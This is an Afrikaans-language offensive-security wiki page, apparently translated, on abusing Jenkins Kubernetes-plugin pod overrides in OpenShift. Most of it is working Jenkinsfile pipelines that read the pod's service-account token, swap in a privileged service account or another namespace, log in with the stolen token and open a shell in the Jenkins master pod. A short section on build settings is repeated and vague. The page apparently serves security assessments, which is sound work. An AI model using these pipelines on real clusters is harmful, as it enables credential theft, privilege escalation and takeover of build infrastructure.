OpenShift - Jenkins Build Pod Override

Die oorspronklike skrywer van hierdie bladsy is Fares

Kubernetes-inprop vir Jenkins

Hierdie inprop is hoofsaaklik verantwoordelik vir Jenkins se kernfunksies binne 'n openshift/kubernetes-kluster. Amptelike dokumentasie hier Dit bied 'n paar funksionaliteite soos die vermoë vir ontwikkelaars om sekere verstekkonfigurasies van 'n jenkins boupod te oorskry.

Kernfunksionaliteit

Hierdie inprop bied buigsaamheid aan ontwikkelaars wanneer hulle hul kode in 'n toepaslike omgewing bou.

podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: maven
image: maven:3.8.1-jdk-8
command:
- sleep
args:
- 99d
''') {
node(POD_LABEL) {
stage('Get a Maven project') {
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
container('maven') {
stage('Build a Maven project') {
sh 'mvn -B -ntp clean install'
}
}
}
}
}

Sekere misbruik wat pod yaml-oorheersing benut

Dit kan egter misbruik word om enige toeganklike beeld soos Kali Linux te gebruik en willekeurige opdragte uit te voer met behulp van vooraf geïnstalleerde gereedskap van daardie beeld. In die voorbeeld hieronder kan ons die diensrekening token van die lopende pod eksfiltreer.

podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: kali
image: myregistry/mykali_image:1.0
command:
- sleep
args:
- 1d
''') {
node(POD_LABEL) {
stage('Evil build') {
container('kali') {
stage('Extract openshift token') {
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
}
}
}
}
}

Oorsettings van Openshift Jenkins-bou oorskry

Oorsettings van Openshift Jenkins-bou oorskry

Wanneer 'n Jenkins-bou in Openshift uitgevoer word, kan spesifieke oorsettings oorskryf word om die gewenste gedrag te verkry. Hier is 'n paar maniere om dit te doen:

1. Oorsettings in die Jenkinsfile Jy kan spesifieke oorsettings direk in die Jenkinsfile spesifiseer deur die nodige parameters te definieer.

2. Oorsettings in die konfigurasie van Jenkins Die oorsettings kan ook in die Jenkins-konfigurasie gedefinieer word om dit op 'n hoër vlak te hanteer.

3. Oorsettings in die Openshift-boukonfigurasie As 'n laaste uitweg kan die oorsettings direk in die Openshift-boukonfigurasie gespesifiseer word.

Deur hierdie verskillende metodes te gebruik, kan jy die oorsettings van 'n Jenkins-bou in Openshift oorskryf om die beoogde funksionaliteit te bereik.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Monster om die namespace van die pod te oorskryf

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: RANDOM-NAMESPACE
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

'n Ander voorbeeld wat probeer om 'n diensrekening te koppel (wat moontlik meer regte as die standaard een het, wat jou bouwerk hardloop) gebaseer op sy naam. Jy mag dalk bestaande diensrekeninge moet raai of opnoem.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: MY_SERVICE_ACCOUNT
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Dieselfde tegniek geld om te probeer om 'n Geheim te koppel. Die einddoel hier sal wees om uit te vind hoe om jou houerbou te konfigureer om doeltreffend te skuif of bevoorregtinge te verkry.

Gaan verder

Sodra jy daaraan gewoond raak om daarmee te speel, gebruik jou kennis oor Jenkins en Kubernetes/Openshift om wanopsetlikhede / misbruik te vind.

Vra jouself die volgende vrae:

• Watter diensrekening word gebruik om bouhouders te ontplooi?

• Watter rolle en toestemmings het dit? Kan dit geheime van die huidige naamspas lees?

• Kan ek verdere bouhouders opnoem?

• Vanaf 'n gekompromitteerde sa, kan ek bevele op die meester-node/houer uitvoer?

• Kan ek die groep verder opnoem om elders te skuif?

• Watter SCC is toegepas?

Jy kan uitvind watter oc/kubectl-opdragte om uit te reik hier en hier.

Moontlike privesk/pivoting scenarios

Laat ons aanneem dat tydens jou assessering jy uitgevind het dat alle jenkins-boue binne 'n naamspas met die naam worker-ns loop. Jy het uitgevind dat 'n verstekdiensrekening met die naam default-sa op die bouhouders gemonteer is, maar dit het nie so baie toestemmings behalwe leestoegang tot sommige bronne nie, maar jy kon 'n bestaande diensrekening met die naam master-sa identifiseer. Laat ons ook aanneem dat jy die oc-opdrag binne die lopende bouhouer geïnstalleer het.

Met die onderstaande bouinskrywing kan jy beheer neem van die master-sa diensrekening en verder opnoem.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: master-sa
containers:
- name: evil
image: random_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
sh 'oc --token=$token whoami'
}
}
}
}
}
}

Afhanklik van jou toegang, moet jy óf voortgaan met jou aanval vanaf die bou-skrip, of jy kan direk aanmeld as hierdie sa op die lopende groep:

oc login --token=$token --server=https://apiserver.com:port

Indien hierdie sa genoeg regte het (soos pod/exec), kan jy ook beheer oor die hele jenkins-instantie neem deur bevele binne die meester-node-pod uit te voer, as dit binne dieselfde naamspasie hardloop. Jy kan hierdie pod maklik identifiseer aan die hand van sy naam en die feit dat dit 'n PVC (volhoubare volume-eis) moet koppel wat gebruik word om jenkins-data te stoor.

oc rsh pod_name -c container_name

In geval die hoofnode-pod nie binne dieselfde naamspasie as die werkers hardloop nie, kan jy soortgelyke aanvalle probeer deur die hoofnaamspasie te teiken. Laat ons aanneem dat dit jenkins-master genoem word. Hou in gedagte dat die serviceAccount master-sa moet bestaan op die jenkins-master naamspasie (en moontlik nie in die worker-ns naamspasie nie).

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: jenkins-master
spec:
serviceAccount: master-sa
containers:
- name: evil-build
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}